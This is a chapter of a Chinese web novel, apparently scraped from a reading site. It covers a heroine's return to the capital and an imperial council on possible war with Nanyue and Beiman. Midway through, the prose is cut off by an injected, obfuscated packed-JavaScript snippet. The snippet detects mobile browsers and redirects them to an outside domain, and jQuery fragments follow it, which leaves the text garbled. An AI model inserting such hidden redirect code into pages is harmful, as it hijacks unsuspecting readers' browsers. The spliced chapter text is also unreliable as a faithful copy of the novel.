默认冷灰
24号文字
方正启体

49. 第四十九章

作者:江不在野本书字数:K更新时间:
    钟晰在沧江县多留了一天,陪羡予游玩清越崖。


    本来游山玩水是休闲乐事,但羡予担心他右臂伤势,觉得过度劳累不利于伤口愈合,不想让他去。结果钟晰一句话就反驳了,“我现在回长林也是劳累,让我歇歇吧。”


    他说这话时一瞬不瞬地盯着羡予,眼底似有波光流转。


    羡予被他笑得晃了眼,愣愣“哦”了一声。她思绪飘了不知多久,回过神来才发现钟晰很长时间没说话,只是静静地望着她。


    羡予忽然觉得钟晰的太子身份被点破后,他反而对自己更亲近了。就像方才,“让我歇歇”这种暗含示弱的话,应该是对最信任之人才说得出口吧?


    见她心思不知转到了哪里,钟晰这才继续说:“而且才遭变故,你一人去,我不放心。”


    非常正经的理由,但实际情况是这次“匪徒”事件宣扬过盛,韩将军亲自前来的消息都传开了,去往清越崖的一路上都安全得很,就连沧江县令都恨不得自己去站岗。


    什么啊……


    羡予在心底偷偷想,自己两年多没认出他是太子这事,殿下本人要负很大责任。


    他这样言笑晏晏的样子,和传闻中冷若冰霜的太子殿下简直判若两人,估计陛下本人来了都认不出亲儿子。


    都怪他。


    钟晰无缘无故被羡予偷偷横了一眼,反倒乐了。虽然不知道她又想了什么,但这一瞬间的表情实在灵动可爱。


    看过天门岩的日出后,钟晰迎着朝阳驾马赶回长林县与禁军会和。


    南巡队伍终于要启程返回容都,羡予休整一二后也回到了信南县。


    回到秋园外祖母身边前,羡予特意换了一件竖领上衫。她脖子上的伤口结了疤,但还没好全。在外时可以用纱布遮掩,回家若还缠着,免不了让长辈担心。


    但一向关怀外孙女的老太君还是发现了,心疼地检查了许久。问其缘由,羡予只说自己光顾着欣赏清越崖美景,没留神让树枝划了。


    越州的事没传到合州来,羡予决定走之前再跟大舅他们解释清楚,就算以后消息传过来了,也请帮忙瞒着外祖母,别叫她老人家担忧。


    羡予又在秋园小住几天,抽空还去四海书院查看了一番。


    如今书院已有四十余名学生,分为三个班教学,由林孝通夫子总领事务。


    她带着帷帽进入书院内,听林夫子细心讲解过书院现状后,自己闲逛了一圈。项颍知晓她来,特意溜出讲堂来见她。


    羡予打趣他,“你这样的好学生竟也会逃课?”


    项颍心里觉得有点尴尬,但面上装作无事发生。施小姐对林夫子和书院的偌大恩情,于情于理他都该要出来见礼的。


    项颍读书读得颇有些心高气傲,但那只是面对仗势欺人的权贵们,面对接济过自己的人,他同样记恩。


    虽然初次见面他就落了“把柄”,但从施小姐此后言行来看,大概能算“以德报怨”吧。


    他虽然这么想,嘴上可是半点不愿意承认。


    正是年少轻狂的时候,加上羡予见他几次都没架子,他总要辩驳回去的。


    “学生也分很多种,施小姐如何定义‘好学生’?不逃课就算‘好学生’吗?”


    项颍笑了一下,扳回一局似的,“施小姐叫我不要以偏概全,怎么倒是自己轻易地把一类人套上了同一个形象。”


    羡予习惯他见谁都要怼两句,无所谓,施小姐宽宏大量。项颍前一天桀骜不驯后一天唯唯诺诺的乐子她能记许久,每次用这个反击回去就够了。


    “唉,确实有人跟我说过‘我知道什么’……”羡予幽幽叹气。


    对面站着的小子不笑了。


    在项颍看来她是哪壶不开提哪壶,羡予则是暗笑,有些人还没开始就已经输了。


    她如愿微笑:“胜之不武,承让。”


    两人拌嘴几句,羡予终于想起自己“书院投资者”的身份。现在看项颍就像看小树苗一样,忍不住染上一层长辈光辉,颇为关心地问了问他的功课。


    他本就有天赋又勤奋,只是错过了两届秋闱,如今林夫子和书院事定,终于肯去参试了。


    算算时间,下一届乡试在崇安十七年,也就是明年。以项颍的能力不出意外定然能中,到崇安十八年的春天便要去容都参加会试了。


    “若你顺利得中,后年便可参加春闱,耽搁了这么久,总算回到科举一途上。”羡予含笑许诺眼前这个年轻士子,“我替你留一封手信,若你初入容都时茫然,可去镇国侯府寻我。”


    羡予施然起身,领着项颍去林夫子那儿准备研墨写信,轻描淡写地给少年心中又种下一颗种子,“提前欢迎你初入容都舞台,莫负凌云志。”


    -


    合州事毕,又是大半个月的长途奔波,羡予终于回到了容都。


    不同于章氏亲戚那边不了解越州情况,施庭柏孟锦芝夫妻可是对羡予去清越崖途中劫难一清二楚。毕竟跟着羡予的可都是镇国侯府的护卫,白康也不敢瞒着侯爷。


    除此之外,远在越州的韩佑将军也特意修书来说明了情况。


    施庭柏没上过战场,对大哥从前的下属也只是许多年前侯府中见过一面的关系,所以见韩佑不忘当年大哥提携、如今依然照顾羡予,他同样感念。


    韩佑信中没提羡予遇到的是北蛮人一事,太子回容都后倒是私下见了他一面,与他细说了。


    施庭柏大为震撼,太子去南巡,羡予去探亲,这俩怎么又撞上了?怎么次次都有天大的窟窿?


    北蛮南越在越州勾结一事牵连到羡予,施庭柏又是兵部侍郎,迟早会知道的。


    果不其然,两天后崇安帝分别召内阁、兵部、户部在承光殿面圣,宣布了太子南巡越州时发现北蛮人行踪一事。


    太子所呈秘折上写的是施小姐南游遇到两个北蛮人,被前镇北军裨将、现施小姐护卫的白康砍杀,惊慌寻求韩佑将军援助,他才在长林县得知此事。


    韩佑将军派人在沧江县搜寻,果然寻到了北蛮人落脚过的据点,该处还有两名南越人和一名疑似大梁人的“乌先生”出没。奸细过于警惕,听到风声后就已遁逃,没能抓住。


    该交代的要事钟晰都交代了,却通过扭曲时间线完美隐去了自己曾在沧江县出现一事,也遮盖了他和羡予相熟的事实,让众人以为施小姐只是一个不幸路过的无辜路人。


    桩桩件件具是致命的导火索,似乎一场战争就在眼前。


    此时,施庭柏和兵部三名同僚正跪在承光殿,听崇安帝就此事询问兵部意见。


    兵部的主要职责就是辅佐皇帝进行军事管理和边防策略。崇安帝右手不住按揉太阳穴,深深皱着眉,问下首的兵部尚书陶大人,“该不该打?”


    陶大人沉思片刻,又一叩首,回道:“陛下,微臣以为,南越既已暗中将手伸到了越州,恐怕已经暗谋许久。敌谋我定并非良策,除韩将军的镇南军外,还需早做应对。”


    这便是支持开战的意思了。


    见御案后的崇安帝久不回应,施庭柏心中转过万千思虑。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444032|165317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>陛下若主战,此事就不只是暗召各部在承光殿私议,而是会在早朝时公布于诸臣。


    南越狼子野心不敬宗主国,朝野上下皆暗藏怒气,北蛮与中原更是几百年来的血仇。此事若是在朝会上公开,必定引得群情激愤,备战决策会因群臣响应而通过。


    而崇安帝选择只向一部分人公布。


    并且在召见兵部之前,皇帝已经见过内阁和户部。内阁如何决议施庭柏不知道,户部他还是可以猜到一点的——朝廷如今没有支持两场战争的财力。


    若是只与一方打,国库应当还够军饷和物资消耗。可现今南北皆敌,若同时举战,大梁腹背受遏,但凡出现一线失误,便是江山离散、满盘皆属。这恐怕也是南越暗联北蛮的阴谋所在。


    皇帝面沉似水,他沉默着,底下跪着的人也不敢作声。


    良久,才听御案后的皇帝语调沉沉,喉间似粘了痰一般,道:“此事暂搁,待韩佑将那两名逃走的南越人和乌某的调查呈上来后,再议。”


    施庭柏欲与同僚们告退,但被崇安帝亲自叫住了。其他几人互相看了看对方,并不敢多作言语。


    崇安帝叫他正是因为此事涉及羡予,听说施家姑娘受惊又受伤,特意吩咐身边的容德带些补品赏赐,等下随施侯爷一道回府。


    说到这儿,崇安帝都无可奈何地苦笑了一下,大概是没想到羡予怎么总是这么倒霉,又每次都能化解,还给大梁带来转机。


    皇帝虽然寡断,但对自己信重的臣子称得上仁善。施家代代忠君,鞠躬尽瘁,施庭柏在他眼中是纯臣、直臣,施家的孩子因故受伤,自然该补偿。


    施庭柏代羡予谢恩后退出了承光殿,抬头看了一眼殿外的天空。黄昏时分,天边朱霞漫卷,还有鱼鳞云块蔓延无际,仿佛预示着一场大雨。


    如今尚在春季,北蛮是游牧民族,经历了一个严冬的消耗后,正是驯养牛马、补充粮食的季节。是以这几个月北蛮都不会轻易发动战争,陛下想再深思熟虑一段时间无可厚非。


    可也正因为北蛮春夏不会响应南越同时举战,大梁现在又掌握了他们勾结的证据,正是对南越发奇袭的好时机。攻下一方,南北敌国的联合便迎刃而解。


    正所谓只有千日做贼,没有前日防贼的。若待到秋冬之时,北蛮兵强马壮,怕是难以应对。


    若是大哥还在就好了。


    不止施庭柏,恐怕很多人,甚至陛下都会这么想,若是镇国将军还在就好了。


    但施庭松早就死了,而此时日薄西山。


    -


    叔父半个月来都紧皱着眉头,朝臣们商量了什么大事羡予不知道,她正忙着搬回秋阳山别院。


    她从合州回来也才大半个月,本来没这么急着离开叔父叔母。但前段时间陛下又有赏赐来了,还是容德公公亲自到镇国侯府宣的旨,点名道姓是陛下赏给施小姐的。


    这不又是戳到了容都其他权贵家的心窝上,他们什么都不了解,只晓得施小姐从合州一回来就又得了陛下恩赏。这不就说明陛下对施小姐、对镇国侯府的看重吗?


    于是一道道请帖又送进了镇国侯府,想把施小姐邀出来闲话游玩、赏花品茶,好拉近关系;夫人们也想拿着儿郎名册想给孟锦芝看选,或许这里面哪一个就能撩动施小姐芳心,好让她们促成一桩媒。


    更有甚者直接给羡予赠礼,把自家儿郎的名册塞在礼盒里送进侯府的,一律被孟锦芝退还了。


    这简直像一年前的轮回,羡予不堪其扰,在给钟晰的回信中大吐苦水。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)